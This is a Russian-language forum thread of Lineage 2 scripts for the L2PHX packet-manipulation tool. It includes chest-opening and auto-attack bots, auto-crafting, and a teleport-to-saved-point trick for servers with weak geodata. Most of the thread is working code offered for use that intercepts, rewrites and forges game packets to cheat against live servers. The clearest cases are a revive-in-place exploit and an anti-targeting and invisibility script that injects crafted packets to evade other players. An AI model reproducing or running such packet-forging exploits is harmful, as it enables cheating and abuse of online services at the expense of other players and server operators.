// скрипт для поиска сундуков по ID
// ЗАДАТЬ МОЖНО ТОК до ДВУХ!!!!
// вкл скрипт в чате пойдет инфа о МОБАХ каких видим
// будет ID моба и его ЛВЛ
// пишем ID первого сундука в пати чат
// пишем ID второго сундука в торговый чат то есть какие буш открывать
// по ID сундука будет поиск если нашел то открывать ключем
// если напали на чара и он ненашел или нашел сундук то атакует того кто напал
// после убийства моба произойдет обновление инфы о мобах и сундук снова поиск
// авто использование бутылок на ХП.Атаку.Бег - ЛЮБЫЕ !!!
// после вкл скрипта выпить бутыли чтоб их запомнить
// встать где получше в центре расположения сундуков
// нажать соцдействие ДА для начала и запоминания места старта
// нажать соцдействие НЕТ отмена
// открыть ключем сундук чтоб запомнить ключ
// скрипт проверялся на хрониках ХБ
const
myName = 'ххххххх'; // Имя
var
catt:integer;
procedure SendMsg2(msg:string);
begin
if (catt=1) then begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClientEx( myName);
end;
end;
//================================================== =============
var
Timer1: TTimer;
Timer2: TTimer;
Timer3: TTimer;
Timer4: TTimer;
Timer5: TTimer;
Timer6: TTimer;
Position:integer;
attacka,gamestart,poiskNpc:integer;
NpcTId1,NpcTId2:integer;
mobID,mobX,mobY,mobZ:integer;
lvlMob,mytext, Name:string;
klucID,hpID,uskorID,atakID:integer;
TargetID, textlvl,textID, NpcTypeId:integer;
MaxHP,CurHP,nybID,i:integer;
myXpos,myYpos,myZpos:integer;
startX,startY,startZ:integer;
xpos, ypos,zpos: integer;
myX,myY,myZ:integer;
//================================================== ==
function rastoyanie(xpos1, ypos1, xpos2, ypos2:extended):integer; //возвращ rezu растояние
begin
result:= Round(Sqrt(((xpos1-xpos2)*(xpos1-xpos2))+((ypos1-ypos2)*(ypos1-ypos2))));
end;
//================================================== ==
procedure OnTimer5(Sender: TObject);
begin
mestoStarta;
poiskNpc:=1;
upgredeInfoNPC;
timer5.enabled:=false;
end;
//================================================== =============
procedure pickupDrop;
begin
case ReadD(10) of
951,952,955,956,947,948,729,730:begin
poiskNpc:=0;
mobID:=ReadD(6);
mobX:=ReadD(14);
mobY:=ReadD(18);
mobZ:=ReadD(22);
Action;
SendMsg2('подобрал');
poiskNpc:=1;
end;
end;
end;
//================================================== =============
procedure OnTimer1(Sender: TObject);
begin
buf:=#$19;
WriteD(hpID);
WriteD(0);
SendToServerEx(myName);
end;

procedure OnTimer2(Sender: TObject);
begin
buf:=#$19;
WriteD(uskorID);
WriteD(0);
SendToServerEx(myName);
end;

procedure OnTimer3(Sender: TObject);
begin
buf:=#$19;
WriteD(atakID);
WriteD(0);
SendToServerEx(myName);
end;
//================================================== =============
procedure OnTimer6(Sender: TObject);
begin
ActionKluc;
ActionKluc;
timer6.enabled:=false;
end;
//================================================== =============
procedure Action;
begin
buf:=#$1F;
WriteD(mobID);
WriteD(myxpos);
WriteD(myypos);
WriteD(myzpos);
SendToServerEx(myName);
end;
//================================================== =============
procedure ActionKluc;
begin
buf:=#$19;
WriteD(klucID);
WriteD(0);
SendToServerEx(myName);
end;
//================================================== =============
procedure startPoisk;
begin
NpcTypeId:=ReadD(6);
lvlMob:=ReadS(125);
if (NpcTId1+NpcTId2=0) then SendMsg2('вижу : '+lvlMob+'_ ID : '+inttostr(NpcTypeId)+' ');
if (poiskNpc=1) then
if (rastoyanie(MyXpos, MyYpos, ReadD(14), ReadD(18))<=600) then
CASE NpcTypeId OF
NpcTId1,NpcTId2:begin
mobID:=ReadD(2);
mobX:=ReadD(14);
mobY:=ReadD(18);
mobZ:=ReadD(22);
lvlMob:=ReadS(125);
Action;
RadarControl;
poiskNpc:=0;//
SendMsg2('нашел С_У_Н_Д_У_К_:'+lvlMob+'_ID: '+inttostr(NpcTypeId)+'');
if (gamestart=1) then
timer6.enabled:=true;
timer5.enabled:=true;
buf:=#$0F;
WriteD(mobX);
WriteD(mobY);
WriteD(mobZ);
WriteD(myxpos);
WriteD(myypos);
WriteD(myzpos);
WriteD(0);
SendToServerEx(myName);
end;
end;
end;
//================================================== =============
procedure startAttacka;
begin
mobID:=ReadD(2);
mobX:=ReadD(15);
mobY:=ReadD(19);
mobZ:=ReadD(23);
attacka:=0;
poiskNpc:=0;
if (gamestart=1) then
Action;
RadarControl;
timer5.enabled:=false;
Timer4.enabled:=true;
end;
//================================================== =============
procedure stopPoisk;
begin
TargetID:=0;
attacka:=1;
poiskNpc:=1;
upgredeInfoNPC;
stopRadarControl;
Timer4.enabled:=false;
timer5.enabled:=false;
buf:=hstr('48 01 00 ');
SendToServerEx(myName);
end;
//================================================== =============
procedure stopAttacka;
begin
attacka:=1;
poiskNpc:=1;
stopRadarControl;
timer5.enabled:=false;
Timer4.enabled:=false;
end;
//================================================== =============
procedure OnTimer4(Sender: TObject);
begin
Action;
end;
//================================================== =============
procedure startGAME;
begin
catt:=0;
attacka:=1;
poiskNpc:=1;
gamestart:=1;
upgredeInfoNPC;
startX:=MyXpos;
startY:=MyYpos;
startZ:=MyZpos;
SendMsg2(' ........... startGAME..........');
end;
//================================================== =============
procedure stopGAME;
begin
catt:=1;
attacka:=0;
gamestart:=0;
poiskNpc:=0;
TargetID:=0;
MoveToLocation;
stopRadarControl;
Timer4.enabled:=false;
Timer4.enabled:=false;
buf:=hstr('48 01 00 ');
SendToServerEx(myName);
SendMsg2(' ........... stopGAME..........');
end;
//================================================== =============
procedure upgredeInfoNPC;
begin
if (0<NpcTId1+NpcTId2) then begin
buf:=#$6E;
SendToServerEx(myName);
poiskNpc:=1;
end;
end;
//================================================== =============
procedure addpoiskNPC;
begin
i:=2;
mytext:=ReadS(i);
textID:=ReadD(i);
if (textID=3) then begin
NpcTId1:=StrToInt(mytext);
SendMsg2( 'пати: Искать 1 моба с ID: '+IntToStr(NpcTId1)+'' );
pck:='';
exit;
end;
if (textID=8) then begin
NpcTId2:=StrToInt(mytext);
SendMsg2( 'торг: Искать 2 моба с ID: '+IntToStr(NpcTId2)+'' );
pck:='';
exit;
end;
end;
//================================================== =============
procedure ValidatePosition;
begin
myXpos:=ReadD(2);
myYpos:=ReadD(6);
myZpos:=ReadD(10);
MyX:=MyXpos;
MyY:=MyYpos;
MyZ:=MyZpos;
end;
//================================================== =============
procedure mestoStarta;
begin
buf:=#$0F;
WriteD(startX);
WriteD(startY);
WriteD(startZ);
WriteD(myxpos);
WriteD(myypos);
WriteD(myzpos);
WriteD(0);
SendToServerEx(myName);
end;
//=======================
procedure MoveToLocation;
begin
buf:=#$0F;
WriteD(myx);
WriteD(myy);
WriteD(myz);
WriteD(myxpos);
WriteD(myypos);
WriteD(myzpos);
WriteD(0);
SendToServerEx(myName);
end;
//================================================== =============
procedure RadarControl;
begin
buf:=#$F1;
WriteD(0);
WriteD(1);
WriteD(mobX);
WriteD(mobY);
WriteD(mobZ);
SendToClientEx(myName);
end;
//================================================== =============
procedure stopRadarControl;
begin
buf:=#$F1;
WriteD(0);
WriteD(1);
WriteD(MyXpos);
WriteD(MyYpos);
WriteD(MyZpos);
SendToClientEx(myName);
end;
//================================================== =============
procedure RequestSocialAction;
begin
CASE ReadD(2) OF
5:begin stopGAME;
pck:='';
exit;
end;
6:begin startGAME;
pck:='';
exit;
end;
end;
end;
//================================================== =============
procedure Init;
begin
catt:=1;
NpcTId1:=0;
NpcTId2:=0;
poiskNpc:=0;
gamestart:=0;
TargetID:=0;
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer1;
timer1.enabled:=false;
timer1.interval:=11000;

timer2:=TTimer.Create(nil);
timer2.OnTimer:=@OnTimer2;
timer2.enabled:=false;
timer2.interval:=1120000;

timer3:=TTimer.Create(nil);
timer3.OnTimer:=@OnTimer3;
timer3.enabled:=false;
timer3.interval:=1120000;

timer4:=TTimer.Create(nil);
timer4.OnTimer:=@OnTimer4;
timer4.enabled:=false;
timer4.interval:=1400;

timer5:=TTimer.Create(nil);
timer5.OnTimer:=@OnTimer5;
timer5.enabled:=false;
timer5.interval:=15000;

timer6:=TTimer.Create(nil);
timer6.OnTimer:=@OnTimer6;
timer6.enabled:=false;
timer6.interval:=4000;

buf:=#$6E;
SendToServerEx(myName);
SendMsg2('Открываем Сундук');
SendMsg2('привет от ТАМБИКА');
SendMsg2('выпей Бутылки и открой 1 сундук');
SendMsg2('в пати чат пишем ID первого сундук ');
SendMsg2('в торгов чат пишем ID второго сундук ');
SendMsg2(' нажимаем соцдейство ДА для начала ');
end;
procedure Free;
begin
timer1.free;
Timer2.free;
Timer3.free;
Timer4.free;
Timer5.free;
Timer6.free;
end;
//================================================== =============
procedure UserInfo;
begin
i:=18;
nybID:=ReadD(i);
Name:=ReadS(i);
i:=i+48;
MaxHP:=ReadD(i);
end;
//============================
procedure StatsUpdate;
begin
CurHP:=ReadD(14);
if (50<=MaxHP-CurHP) then
Timer1.enabled:=true
else
Timer1.enabled:=false;
if (CurHP=0) then Timer4.enabled:=false;
end;
//================================================== =============
procedure addtoItem;
begin
case ReadD(12) of
1061,1539:begin//Зелье Исцеления ID:1061
hpID:=ReadD(8);
SendMsg2('запомнил: З е л ь е Исцеления');
end;
734,1374: begin//Зелье Ускорения ID:734
uskorID:=ReadD(8);
Timer2.enabled:=true;
SendMsg2('запомнил: З е л ь е Ускорения');
end;
735,1375: begin//Зелье Быстрой Атаки ID:735
atakID:=ReadD(8);
Timer3.enabled:=true;
SendMsg2('запомнил: З е л ь е Атаки');
end;
6667..6672: begin//Ключ от Сундука Сокровищ - Ранг 3,4.5.6.7.8.
klucID:=ReadD(8);
SendMsg2('запомнил: _ К _ Л _ Ю _ Ч_ И _ К _');
end;
end;
end;
//================================================== =============
begin
//================================================== =============
if FromServer then
case pck[1] of
#$32:UserInfo;

#$18:if ReadD(2)=nybID then StatsUpdate;

#$0C:startPoisk;

#$62:if ReadD(2)=181 or 109 then mestoStarta;//MsgID: Неверная цель. ID:109

#$08:if ReadD(2)=TargetID then upgredeInfoNPC;

#$00:if ReadD(2)=TargetID then stopAttacka;

#$21:addtoItem;

#$23:if ReadD(2)=nybID then TargetID:= ReadD(6);

#$33:if ReadD(2)=nybID then timer5.enabled:=false;

#$16:if ReadD(2)=TargetID then pickupDrop;
end;
//================================================== =============
if FromClient then
CASE pck[1] OF
#$49:addpoiskNPC;//Tип: 0x49 (Say2)

#$34:RequestSocialAction;

#$59:ValidatePosition;
end;
//================================================== =============
// я атакую
if FromServer and(pck[1]=#$33)and(ReadD(2)=nybID) then begin
timer5.enabled:=false;
end;
//====================================
// не Атакуют ли мой Выбор
if FromServer and (gamestart=1) and(pck[1]=#$33)and(ReadD(2)=TargetID)
and(ReadD(6)<>nybID) then stopPoisk;

if FromServer and (gamestart=1) and(pck[1]=#$33)and(ReadD(2)<>nybID)
and(ReadD(6)=TargetID) then stopPoisk;
//====================================
// напали на мне
if FromServer and (pck[1]=#$48)and(ReadD(2)<>nybID)and(ReadD(6)=nybID)then startAttacka;
//===================================
if FromServer and(attacka=1) and (pck[1]=#$33)and (ReadD(6)=nybID) then startAttacka;
//================================================== =============

end.


Авто:Таргет.Радар.Атака
Автор: TAMBIK
Источник: coderx.ru
Описание:
При нападение на чара, чар автоматом берет нападающего в таргет и атакует
Радар стрелка над чаром показывает направление откуда чара атакуют
//автор TAMBIK
//проверялось на ХБ
//не забудьте вписать имя своего чара
const
myName = ' ххххххх '; // Имя

var
Timer1: TTimer;
myID:integer;
mobID,mobX,mobY,mobZ:integer;
myXpos,myYpos,myZpos:integer;
autoattacka,autoAction:boolean;

procedure SendMsg2(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClientEx(myName);
end;
procedure RequestSocialAction;
begin
CASE ReadD(2) OF
5:begin// стоп
autoattacka:=false;
autoAction:=false;
stopRadarControl;
SendMsg2('о т к л ю ч е н о');
pck:='';
exit;
end;
6:begin // старт
autoattacka:=true;
SendMsg2('в к л ю ч е н о');
pck:='';
exit;
end;
end;
end;
procedure OnTimer1(Sender: TObject);
begin
Action;
end;
procedure Action;
begin
buf:=#$1F;
WriteD(mobID);
WriteD(mobX);
WriteD(mobY);
WriteD(mobZ);
WriteC(00);
SendToServerEx(myName);
end;
procedure startPoisk;
begin
buf:=#$F1;
WriteD(0);
WriteD(1);
WriteD(mobX);
WriteD(mobY);
WriteD(mobZ);
SendToClientEx(myName);
end;
procedure startAttacka;
begin
mobID:=ReadD(2);
Action;
startPoisk;
autoAction:=false;
if autoattacka then
Timer1.enabled:=true;
end;
procedure stopRadarControl;
begin
buf:=#$F1;
WriteD(0);
WriteD(1);
WriteD(MyXpos);
WriteD(MyYpos);
WriteD(MyZpos);
SendToClientEx(myName);
end;
procedure ValidatePosition;
begin
myXpos:=ReadD(2);
myYpos:=ReadD(6);
myZpos:=ReadD(10);
end;
procedure Init;
begin
autoAction:=true;
autoattacka:=false;
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer1;
timer1.enabled:=false;
timer1.interval:=1000;
buf:=#$14;
SendToServerEx(myName);
SendMsg2('для ВКЛ соцдействие ДА');
SendMsg2('для ОТКЛ соцдействие НЕТ');
SendMsg2('автор TAMBIK');
end;
procedure Free;
begin
timer1.free;
end;

begin
if fromserver and (pck[1]=#$32) then begin//Tип: 0x32 (UserInfo)
myID:=ReadD(18);
end;
if FromClient and (pck[1]=#$34) then RequestSocialAction;
if FromServer and autoAction and (pck[1]=#$33) and (ReadD(6)=myID) then startAttacka;
if FromServer and autoAction and (pck[1]=#$48)and(ReadD(2)<>myID)and(ReadD(6)=myID)then startAttacka;
if FromServer and (pck[1]=#$00) and (ReadD(2)=mobID) then begin
autoAction:=true;
stopRadarControl;
timer1.enabled:=false;
if FromClient and (pck[1]=#$59) then ValidatePosition;
end;
end.

Скрипт на заточку лежал до недавнего времени в подполье, но им особо там некто не пользуется (да и сам скрипт в шару был отправлен давно) - перезалейти этот скрипт пожалуйста...
перезалейте плиз
Перезалейте на депозит плииииз
Перезалил
Автоматизация заточки предметов до необходимого уровня by NLObP

Применение: Вставте в l2phx во вкладку скрипты не забудьте поменять ник(NLObP) в скрипте на свой.
Автор скрипта: NLObP
letitbit.net ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
depositfiles.com ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
dump.ru ([Ссылки могут видеть только зарегистрированные и активированные пользователи])


Автоматизация изготовления ключей
Автор: TAMBIK
Источник: coderx.ru
Описание:
Скрипт изготовляет ключики(скилл у тх)
Для Hellbound'a
Запуск скрипта соц. действие ДА


var
timer1: TTimer;
Bypass:string;
x,i:integer;
const
HTML='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco width=256 height=32>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">Cкрипт изготовление ключей</font><br>'+
'<font color="04fbfb"> Уровень Скила </font><br>'+
'<button value="= 1 =" action="bypass -h 1" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="= 2 =" action="bypass -h 2" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<button value="ПУСК" action="bypass -h pusk" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="СТОП" action="bypass -h stop" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">Автор ТАМБИК</font><br>'+
'</center></body></html>';

procedure SendMsg2(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClient;
end;

Procedure ShowHTML( _html : string );
begin
buf:=#$19;
WriteD(5);
WriteS(_HTML);
SendToClient;
end;

procedure OnTimer1(Sender: TObject);
begin
buf:=hstr('39 A3 01 00 00 00 00 00 00 00' );
SendToServer;

end;

procedure Init;
begin
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer1;
timer1.enabled:=false;
timer1.interval:=0;
x:=0;
end;
procedure Free;
begin
timer1.free;
end;
begin
if FromClient and (pck[1]=#$34) and (pck[2]=#$06) then begin
ShowHTML(HTML);
SendMsg2('Выберите Уровень скила');
pck:='';
exit;
end;
begin
if FromClient and (pck[1]=#$23) then
begin
Bypass:=ReadS(2);
case Bypass of
'1':
begin
x:=1;
timer1.interval:=1300000;//интервал
SendMsg2('Уровень скила=1');
ShowHTML(HTML);
end;
'2':
begin
x:=1;
timer1.interval:=1700000;//интервал
SendMsg2('Уровень скила=2');
ShowHTML(HTML);
end;

'pusk':
begin
if (x=0) then begin
SendMsg2('НЕ ВЫБРАН Уровень скила');
end;
if (x=1) then begin
buf:=hstr('39 A3 01 00 00 00 00 00 00 00' );
SendToServer;
timer1.enabled:=true;
SendMsg2('ПУСК');
ShowHTML(HTML);
end;
end;

'stop':
begin
x:=0;
timer1.enabled:=false;
SendMsg2('СТОП');
ShowHTML(HTML);
timer1.interval:=0;//интервал

end;
end;
end;
end;
end.

MarkoPolo
08.09.2009, 22:14
Скрипт на тп , то место которое запомнили(для серверов с тупой гео) Тестил на Interlude
Автор: pmen
Взято c сoderx.ru
var
// переменная
x:integer; y:integer;
a:integer; b:boolean; z:integer;
procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2); x:=ReadD(6);
y:=ReadD(10); z:=ReadD(14);
SendMsc('Запомнен ObjectID = '+inttostr(a));
SendMsc('Запомнен x = '+inttostr(x));
SendMsc('Запомнен y = '+inttostr(y));
SendMsc('Запомнен z = '+inttostr(z));
b:=true;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 6F 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
Writed(x);
Writed(y);
Writed(z);
SendToClient;
end;
end;
end.
Удобно Использовать вместе с скриптом на тп.Например ходить на твт(Сохранил точку где появился, тп в город за бафом и потом обратно на арену) .

GraNIT
08.09.2009, 22:25
Простенький скрипт для "глухих", перенаправляет сообщения приходящие из выбранного вами чата в чат PartyChannel, в основном удобно для тех кто не пользуется TS, в замесах не всегда есть возможность читать мелкие буквы в чате, а со скриптом нужный вам чат будет выводиться большими буквами на экране.
Должен работать на всех хрониках начиная с Kamael и заканчивая Final.
Const
TextType=0; //меняем значение под нужный чат: 0=общий чат, 1=!,
//2=PM, 3=Party, 4=Clan, 8=Trade, 9=Alli, 17=Hero
begin
if FromServer and (pck[1]=#$4A) and (ReadD(6)=TextType) then
begin
buf:=pck;
WriteD(15,6);
pck:=buf;
end;
end.
Автор [mks] coderx.ru

MarkoPolo
09.09.2009, 11:12
Скрипт на перевод текста .
Например заходишь в игру и пишешь Ghbdtn cthd ,а она меняет его на Привет серв.Тестировал на интерлюде.
Автор и откуда взял - непомню.
Program EngToRus;
const
Name='KHoIIka';
var
temp:string;
i:integer;
function ConvertNeeded(tmpstr : string) : boolean;
var i,countru,counteng:integer;
begin
countru:=0;
counteng:=0;
for i:=1 to length(tmpstr) do
begin
if tmpstr[i] in ['à'..'ÿ','À'..'ß'] then inc(countru);
if tmpstr[i] in ['a'..'z','A'..'Z'] then inc(counteng);
end;
result:=true;
if (countru>0) and (counteng>=0) then result:=false;
end;
function ConvertStr(tmpstr : string) : string;
var i:integer;
function ConvertChar(tmpchar : char) : char;
const
alphabet=[' ','[',']','{','}','<','>',',','.',':','"','/','?','q','w','e','r','t','y','u','i','o','p','a', 's','d','f','g','h','j','k','l','z','x','c','v','b ','n','m','`','~'];
rualphabet=[' ','õ','ú','Õ','Ú','Á','Þ','á','þ','Æ','Ý','.',',', 'é','ö','ó','ê','å','í','ã','ø','ù','ç','ô','û','â ','à','ï','ð','î','ë','ä','ÿ','÷','ñ','ì','è','ò', 'ü','¸','¨'];
var i:integer;
begin
if tmpchar=chr(39) then begin
result:='ý';
exit;
end;
if tmpchar=';' then begin
result:='æ';
exit;
end;
if tmpchar='^' then begin
result:=':';
exit;
end;
if tmpchar='@' then begin
result:='"';
exit;
end;
if tmpchar in ['0'..'9'] then begin
result:=tmpchar;
exit;
end;
if tmpchar='$' then begin
result:=';';
exit;
end;
if tmpchar='&' then begin
result:='?';
exit;
end;
if tmpchar='|' then begin
result:='/';
exit;
end;
for i:=0 to (length(alphabet)-1) do
begin
if tmpchar=alphabet[i] then
begin
result:=rualphabet[i];
exit;
end;
if ord(tmpchar)=(ord(alphabet[i])-32) then
begin
result:=chr(ord(rualphabet[i])-32);
exit;
end;
end;
result:=tmpchar;
end;
begin
for i:=1 to length(tmpstr) do tmpstr[i]:=ConvertChar(tmpstr[i]);
result:=tmpstr;
end;
begin
if FromClient and (pck[1]=#$38) and (ConnectName=Name) then
begin
temp:=ReadS(2);
if ConvertNeeded(temp) then
begin
temp:=ConvertStr(temp);
if ReadD(length(temp)*2+4)=2 then
begin
buf:=#$38;
writes(temp);
writed(2);
writes(ReadS(length(temp)*2+8));
SendToServerEx(Name);
pck:='';
exit;
end;
buf:=#$38;
writes(temp);
buf:=buf+pck[length(pck)-3]+pck[length(pck)-2]+pck[length(pck)-1]+pck[length(pck)];
SendToServerEx(Name);
pck:='';
end;
end;
end.

Benjamin
20.09.2009, 15:38
//Скрипт на возрождение на месте после смерти.
//Включите скрипт,когда вы умерли возьмите себя в таргет и нажмите в город.
//Вы встанете наместе.
//Автор pmen ICQ - 479917081
//=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=+=+=+=+=+=+=+=+=
const
//======================================
Name='ник сюды'; //<-----Ник Персонажа
//======================================
var
a:integer;x:integer;MyID:string;
y:integer;z:integer;
b:boolean;ValidatePosition:string;
procedure Init; //Вызывается при включении скрпта
begin
SendMsc('Возьми себя в таргет'); //Системное сообщение
b:=false; //Условие b первоночально False
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
begin
//Нечитаем пустые пакеты
if pck='' then exit;
//Если Имя соединения Name
//И Пакет Action от клиента то
if FromClient and (ConnectName=Name) and (pck[1]=#$04) then
begin
//Сохраняем мой Обжект Ид
MyID:= pck[2]+pck[3]+pck[4]+pck[5];
a:=ReadD(2); x:=ReadD(6); //Читаем и запоминаем данные
y:=ReadD(10); z:=ReadD(14);
SendMsc('Все данные сохранены!'); //Оповещаем о том что все прошло успешно
b:=true;
end;
begin
if pck='' then exit; //Не читаем пустые пакеты
//Если от Клиента пакет RequestRestartPoint
//Запоминаем ValidatePosition до revive
//Посылаем клиенту TeleportToLocation
if FromClient and (ConnectName=Name) and (pck=hstr('6D 00 00 00 00')) then
if FromClient and (ConnectName=Name) and (pck[1]=#$48) then ValidatePosition:=pck;
if FromServer and (ConnectName=Name) and (pck[1]=#$28) and (MyID= pck[2]+pck[3]+pck[4]+pck[5]) then
begin
pck:=''; //Убиваем стандартный пакет
buf:=ValidatePosition; //посылаем ValidatePosition
SendToServerEX(Name);
buf:=#$28;
WriteD(A); //Obj.ID
WriteD(X); //Coord.X
WriteD(Y); //Coord.Y
WriteD(Z); //Coord.Z
SendtoclientEX(Name);
buf:=ValidatePosition; //посылаем ValidatePosition
SendToServerEX(Name);
end;
end;
end.

dager315
21.10.2009, 17:04
Вот он
положить в папку l2phx.... в папку setings или просто в папку с прогой

Mest
29.10.2009, 14:20
Антитаргет (пробывал на 3.1.9)
var act:integer; me1:char; me2:char; me3:char; me4:char; nm:integer; t1:char; t2:char; t3:char; t4:char; nt:integer; shade:integer; mz:integer; pz:integer; tz:integer; hz:integer;

procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClient;
end;

begin


//анализ ИД себя

if nm<>1 then
begin
if FromServer and (pck[1]=#$04) then
begin
me1:=pck[18];
me2:=pck[19];
me3:=pck[20];
me4:=pck[21];
nm:= 1;
end;
end;


//защитная часть

if FromClient and (pck[1]=#$1B) and (pck[2]=#$06) then
begin
act:=1;
SendMsg('AT system on');
end;

if FromClient and (pck[1]=#$1B) and (pck[2]=#$05) then
begin
act:=0;
SendMsg('AT system off');
end;

if FromClient and (pck=#$38#$3C#$04#$2B#$00#$00#$00#$03#$00#$00#$00) then
begin
mz:=1;
SendMsg('Advanced m.def on')
end;

if FromClient and (pck=#$38#$3C#$04#$2D#$00#$00#$00#$03#$00#$00#$00) then
begin
mz:=0;
SendMsg('Advanced m.def off')
end;

if FromClient and (pck=#$38#$3F#$04#$2B#$00#$00#$00#$03#$00#$00#$00) then
begin
pz:=1;
SendMsg('Advanced p.def on')
end;

if FromClient and (pck=#$38#$3F#$04#$2D#$00#$00#$00#$03#$00#$00#$00) then
begin
pz:=0;
SendMsg('Advanced p.def off')
end;

if FromClient and (pck=#$38#$42#$04#$2B#$00#$00#$00#$03#$00#$00#$00) then
begin
tz:=1;
SendMsg('Anti-target on')
end;

if FromClient and (pck=#$38#$42#$04#$2D#$00#$00#$00#$03#$00#$00#$00) then
begin
tz:=0;
SendMsg('Anti-target off')
end;

if FromClient and (pck=#$38#$45#$04#$2B#$00#$00#$00#$03#$00#$00#$00) then
begin
hz:=1;
SendMsg('Hit"n"Hide on')
end;

if FromClient and (pck=#$38#$45#$04#$2D#$00#$00#$00#$03#$00#$00#$00) then
begin
hz:=0;
SendMsg('Hit"n"Hide off')
end;

if FromClient and (pck[1]=#$1B) and (pck[2]=#$03) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;

if act=1 then
begin

if tz=1 then
begin
if FromServer and (pck[1]=#$29) and (pck[6] = me1) and (pck[7] = me2) and (pck[8] = me3) and (pck[9] = me4) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;
end;

if mz=1 then
begin
if FromServer and (pck[1]=#$48) and (pck[6] = me1) and (pck[7] = me2) and (pck[8] = me3) and (pck[9] = me4) and (pck[2] <> me1) and (pck[3] <> me2) and (pck[4] <> me3) and (pck[5] <> me4) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;
end;

if pz=1 then
begin
if FromServer and (pck[1]=#$05) and (pck[6] = me1) and (pck[7] = me2) and (pck[8] = me3) and (pck[9] = me4) and (pck[2] <> me1) and (pck[3] <> me2) and (pck[4] <> me3) and (pck[5] <> me4) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;
end;

if hz=1 then
begin
if FromServer and (pck[1]=#$48) and (pck[6] = me1) and (pck[7] = me2) and (pck[8] = me3) and (pck[9] = me4) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;
end;

end;


//часть таргета

if FromClient and (pck[1]=#$04) then
begin
nt:=1;
t1:=pck[2];
t2:=pck[3];
t3:=pck[4];
t4:=pck[5];
end;

if FromClient and (pck[1]=#$37) then
begin
nt:=0;
end;

if nt=1 then
begin
if FromClient and (pck[1]=#$30) then
begin
buf:=#$04+t1+t2+t3+t4+#$00#$00#$00#$00#$00#$00#$00 #$00#$00#$00#$00#$00#$00;
SendToServer;
buf:=#$A6+t1+t2+t3+t4+#$00#$00;
SendToClient;
end;
end;

if FromClient and (pck[1]=#$1B) and (pck[2]=#$04) then
begin
buf:=#$04+t1+t2+t3+t4+#$00#$00#$00#$00#$00#$00#$00 #$00#$00#$00#$00#$00#$00;
SendToServer;
buf:=#$A6+t1+t2+t3+t4+#$00#$00;
SendToClient;
end;

//shadowmelt

if FromClient and (pck[1]=#$1B) and (pck[2]=#$07) then
begin
shade:=1;
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
SendMsg('Skipped to Shadows');
end;

if FromClient and (pck[1]=#$1B) and (pck[2]=#$08) then
begin
shade:=0;
buf:=#$30#$00#$00;
SendToServer;
SendMsg('Reveal from Darkness');
end;

if shade = 1 then
begin
if FromClient and (pck[1]=#$30) then pck:='';
end;

end.

И так управление - нажимает Social Yes, система запущена, но еще не подключены модули... Подключаем те которые нам нужны...

пишем в ПАТИ ЧАТ:

т+ / т- - Включение/Выелючение АВТО антитаргета - таргет сбрасывется когда вас БЕРУТ НА ТАРГЕТ, тоесть он пытается выделить, а вы сбрасываете!

м+ / м- , п+ / п- - дополнительная магическая и физическая защита, непомню уже сам как работает (да у меня и не работает, изза лагучести инета) но знакомый говорит, если включить их в паре, то сбивает каст когда пытаются кастануть на вас заклинание, и "ичезает" прямо во время физической атаки на вас...

х+ / х- - уход в хайд после каждой своей физической атаки

Там есть еще такая штукенция, что после хайда, предыдущий таргет выберется автоматом (этого не видно в клиенте но он выделится, протестите на мобах)

Social Bow / Social Unaware - исчезнуть и появится, ну это кусок скрипта ХИНТА на его антитаргет.}

Добавлено через 6 минут
Инвиз
